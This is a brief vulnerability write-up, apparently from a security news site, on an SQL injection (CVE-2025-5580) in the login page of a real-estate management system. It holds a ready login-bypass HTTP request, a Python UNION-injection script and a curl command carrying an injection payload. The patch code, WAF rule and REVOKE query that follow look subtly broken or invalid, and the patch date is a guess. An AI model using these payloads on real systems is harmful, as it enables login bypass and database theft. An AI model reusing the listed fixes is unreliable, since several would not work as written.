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How CVE-2025-5580 Works
This critical SQL injection vulnerability exists in CodeAstro Real Estate Management System 1.0 due to improper input sanitization in the `email` parameter of /login.php. Attackers can inject malicious SQL queries through crafted email inputs during authentication. The system fails to validate or escape user-supplied data before concatenating it into SQL statements, allowing unauthorized database access. Remote exploitation is possible without authentication, potentially leading to data theft, authentication bypass, or complete system compromise. The vulnerability stems from insecure coding practices where raw user input is directly passed to backend database queries.
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Platform: CodeAstro Real Estate
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 06/04/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
-- Exploit PoC POST /login.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded email=admin' OR 1=1--&password=any
Automated Exploit
import requests
url = "http://target.com/login.php"
payload = {"email":"admin' UNION SELECT 1,2,3,4--", "password":"x"}
r = requests.post(url, data=payload)
print(r.text)
Detection Command curl -X POST -d "email=test' AND 1=CONVERT(int,@@version)--" http://target.com/login.php
// Patch Code
$email = mysqli_real_escape_string($conn, $_POST['email']);
$stmt = $conn->prepare("SELECT FROM users WHERE email = ?");
$stmt->bind_param("s", $email);
$stmt->execute();
WAF Rule
location ~ login.php {
deny "union.select";
deny "--";
deny ";";
}
-- Mitigation Query REVOKE DELETE, DROP ON . FROM 'codeastro_dbuser'@'%';
Vulnerability Scanner
def check_sqli(url):
test_payloads = ["'", "\"", "1=1"]
for payload in test_payloads:
res = requests.post(url, data={"email":payload, "password":"x"})
if "error in your SQL" in res.text:
return True
return False
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
